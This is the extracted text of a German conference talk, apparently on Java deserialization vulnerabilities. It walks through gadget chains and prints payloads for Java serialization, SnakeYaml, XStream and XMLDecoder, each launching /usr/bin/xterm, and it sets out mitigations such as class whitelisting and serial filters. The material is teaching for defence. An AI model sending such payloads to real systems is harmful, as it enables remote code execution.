THE DE-SERIALTHE DE-SERIALKILLERKILLER
SICHERHEITSPROBLEME BEIMSICHERHEITSPROBLEME BEIMSERIALISIEREN UNDSERIALISIEREN UNDDESERIALISIERENDESERIALISIEREN
, Dr. Stefan Schlott BeOne Stuttgart GmbH
ABOUT.TXTABOUT.TXTStefan Schlott, BeOne Stuttgart GmbH
Java-Entwickler, Scala-Enthusiast, Linux-Jünger
Seit jeher begeistert für Security und Privacy
SERIALISIERUNGS-101SERIALISIERUNGS-101public static void serializeData(String filename) throws … { ConferenceSlot data = new ConferenceSlot("The De-Serial Killer", "Stefan Schlott", "Usedom"); try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename))) { out.writeObject(data); } }
public static void deserializeData(String filename) throws … { try (ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename))) { ConferenceSlot data = (ConferenceSlot)in.readObject(); System.out.println(data); } }
Voraussetzung: ConferenceSlot implementiert Serializable
SERIALISIERUNG WANDELTSERIALISIERUNG WANDELT OBJEKT IN BYTESTREAMOBJEKT IN BYTESTREAM
00000000 ac ed 00 05 73 72 00 18 63 6f 6d 2e 62 65 6f 6e |....sr..com.beon| 00000010 65 2e 43 6f 6e 66 65 72 65 6e 63 65 53 6c 6f 74 |e.ConferenceSlot| 00000020 7d 69 17 26 40 cc 5f 0f 02 00 03 4c 00 04 72 6f |}i.&@._....L..ro| 00000030 6f 6d 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f |omt..Ljava/lang/| 00000040 53 74 72 69 6e 67 3b 4c 00 07 73 70 65 61 6b 65 |String;L..speake| 00000050 72 71 00 7e 00 01 4c 00 05 74 69 74 6c 65 71 00 |rq.~..L..titleq.| 00000060 7e 00 01 78 70 74 00 06 55 73 65 64 6f 6d 74 00 |~..xpt..Usedomt.| 00000070 0e 53 74 65 66 61 6e 20 53 63 68 6c 6f 74 74 74 |.Stefan Schlottt| 00000080 00 14 54 68 65 20 44 65 2d 53 65 72 69 61 6c 20 |..The De-Serial | 00000090 4b 69 6c 6c 65 72 |Killer|
OBJEKT LESENOBJEKT LESENKlasse bestimmen
Instanz erzeugen: Zero-Args-Constructor der ersten nicht-serialisierbaren Superklasse
Daten lesen: Mittels readObject der Klasse, falls vorhanden.Sonst Standardverhalten (rekursiv alle Members, die nicht
transient sind)
Voraussetzung: Benötigte Klassen im Klassenpfad
„GADGET“ KONSTRUIEREN„GADGET“ KONSTRUIERENZiel: Programm ausführen
Annahme: Groovy-Bibliothek im Klassenpfad
Idee: Groovy-Strings haben eine Methode execute, welche denString als Kommando ausführt
Methode als Groovy-Closure verpacken:
MethodClosure payloadClosure = new MethodClosure("/usr/bin/xterm", "execute");
Suche nach einer Methode, welche eine Closure evaluiert:GString!
GString string = new GStringImpl(new Object[] { payloadClosure }, new String[] { });
Evaluiert Closures nur mit 0 oder 1 Parameter… per Reflection „hinbiegen“
Suche nach einer Klasse, welche in readObject die MethodetoString aufruft: BadAttributeValueExpException!
BadAttributeValueExpException data = new BadAttributeValueExpException(string);
…oder so ähnlich: So wird toString schon beimZusammenbauen ausgeführt.
Also: Platzhalter setzen und string per Reflection setzen.
DESERIALISIERUNGDESERIALISIERUNG1. BadAttributeValueExpException wird gelesen, derenreadObject-Methode gerufen
2. Diese liest string, diese liest payloadClosure(Standardmechanismus)
3. BadAttributeValueExpException::readObject rufttoString von string
4. GStringImpl::toString ruft payloadClosure.call()
VIELFÄLTIGE ANWENDUNGVIELFÄLTIGE ANWENDUNGRMI
JMX
JMS-Nachrichten
JSF-Viewstate
Object-Caches, z.B. (anwendungsspezifisch) memcached
…
Authentisierung hilft nicht zwingend! Beispiel: JMX
LÖSUNG FÜR JAVA-SERIALISIERUNGLÖSUNG FÜR JAVA-SERIALISIERUNG…OHNE CODE-ANPASSUNG…OHNE CODE-ANPASSUNG
Java Agent : Black- oder Whitelisting von Klassennotsoserial
JMX über SSL mit Client-Zertifikat (com.sun.management.jmxremote.ssl.need.client.auth=true)
Java 9: System Property jdk.serialFilter: Filter-Patterns, mit Strichpunkt getrennt
Beispiel: my.app.model.**;!*
…MIT CODE-ANPASSUNG…MIT CODE-ANPASSUNG
Alle Java-Versionen: Eigene Implementierung desObjectInputStream:
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws (…) { if (!desc.getName().startsWith("my.app.model.")) { throw new InvalidClassException("Refusing to deserialize class " + desc.getName()); } return super.resolveClass(desc); }
…MIT CODE-ANPASSUNG: FILTER-API…MIT CODE-ANPASSUNG: FILTER-API
Globaler Filter für alle ObjectInputStreams (ab Java 8u121):
ObjectInputFilter.Config.setSerialFilter(filterInfo -> { (…) });
Filter für individuelle Instanz (ab Java 8u121, aber nicht Java 9):
ObjectInputStream in = … ObjectInputFilter.Config.setObjectInputFilter(in, filterInfo -> { (…) });
Filter für individuelle Instanz (ab Java 9):
ObjectInputStream in = … in.setObjectInputFilter(filterInfo -> { (…) });
Filterimplementierung
Rückgabewerte: ALLOWED, REJECTED, UNDECIDEDfilterInfo -> { if (filterInfo.serialClass()==null) return ObjectInputFilter.Status.ALLOWED; if (MyBaseDataClass.class.isAssignableFrom(filterInfo.serialClass())) return ObjectInputFilter.Status.ALLOWED; return ObjectInputFilter.Status.REJECTED; }
setSerialFilter: Kann nur 1x aufgerufen werden
Individuelle Filter: Ignorieren den globalen Filter
Whitelisting implementieren!
YAMLYAMLProminente Java-Bibliothek: SnakeYaml
YAML: Objektinstantiierungen, Konstuktorparameter
Kümmert sich nicht um Serializable
YAML: MEHR ALS NUR LESBAREYAML: MEHR ALS NUR LESBAREDATENDATEN
Nicht (nur) strukturierte Daten, sondern vollständige Serialisierung!
Mit !klassenname Klasse instantiieren
Syntax Hashmap = Members belegen
Mit !klassenname [ p1, … ] Konstuktorparameter angeben
Groovy Expando: Mappt (freie) Methodennamen auf Closures.
Hier: toString auf GString::execute!!groovy.util.Expando [ { toString: !!org.codehaus.groovy.runtime.MethodClosure [/usr/bin/xterm, execute] } ]
Ein tostring (z.B. Log-Statement) löst Exploit aus
Lösung für SnakeYaml: SafeConstructor limitiert auf Basistypen
Yaml yaml = new Yaml(new SafeConstructor());
Weitere Klassen können registriert werden
Unglücklicherweise nicht der Default!
XSTREAMXSTREAM„No mappings required. Most objects can be
serialized without need for specifyingmappings“
Kompatibel mit normaler Java-Serialisierung!
Sogar die Exploits sind kompatibel!
<?xml version="1.0"?> <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.collections4.comparators.TransformingComparat <decorated class="org.apache.commons.collections4.comparators.ComparableComparato <transformer class="org.apache.commons.collections4.functors.InvokerTransformer"> <iMethodName>newTransformer</iMethodName> <iParamTypes/> <iArgs/> </transformer> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> (…)
Lösung für XStream: Restriktion mittels addPermission
Unglücklicherweise nicht der Default!
Viel Handarbeit nötig
JRE XMLENCODER/XMLDECODERJRE XMLENCODER/XMLDECODERIn JAVA SE seit Java 1.4
XML-Serialisierung von Java Beans
Erfordert Bean-Konvention, aber keine Implementierung vonSerializable
<?xml version="1.0"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="com.beone.ConferenceSlot"> <void property="room"> <string>Eventhalle</string> </void> <void property="speaker"> <string>Stefan Schlott</string> </void> <void property="title"> <string>The De-Serial Killer</string> </void> </object> </java>
Each element represents a method call.The "object" tag denotes an expression whose value is to beused as the argument to the enclosing element.The "void" tag denotes a statement which will be executed, butwhose result will not be used as an argument to the enclosingmethod.…
The XML syntax uses the following conventions:■■
■
■
WHO YOU GONNA CALL?WHO YOU GONNA CALL?<?xml version="1.0"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index = "0"> <string>/usr/bin/xterm</string> </void> </array> <void method="start"/> </void> </java>
Nutzt das noch wer?
„The vulnerability is present in WebLogic WebServices component (wls-wsat) and, due to
improperly user input sanitizing, it may allow anunauthenticated remote attacker to execute
remote arbitrary commands with the privilegesof the WebLogic server user.“
(Quelle: - Monero Miners on WebLogic)SANS
Potentielle Problemquelle: Nicht authentisierte Daten
Potentielle Problemquelle: Jede generische Serialisierungs-Bibliothek
Beschränkung der verwendbaren Klassen
Bibliotheken mit sicheren Defaults verwenden
BILDQUELLENBILDQUELLEN (CC) BY Nick kenrick
(CC0) niekverlaan (CC) BY-NC-SA Michele Adami
(CC) BY _Gavroche_ (CC0) condesign
(CC) BY-NC Randall Munroe (CC) BY-NC-SA Canada Science and Technology Museum
(CC0) Pexels (CC) BY-NC-SA Kompania Piwowarska
(CC0) Ramdlon (CC0) Markus Spiske
from the Internet ;)
■ Attempted murder series■ Newspaper■ Murder!■ Bomb■ Noodles■ Exploits of a mum■ Braille detail for two sided plates■ Dangerous woman■ The process of filling bottles■ Diamond Red Ruby■ Creative Smartphone Desk Notebook■ Cat whack-a-mole■ Not standard usage of standard library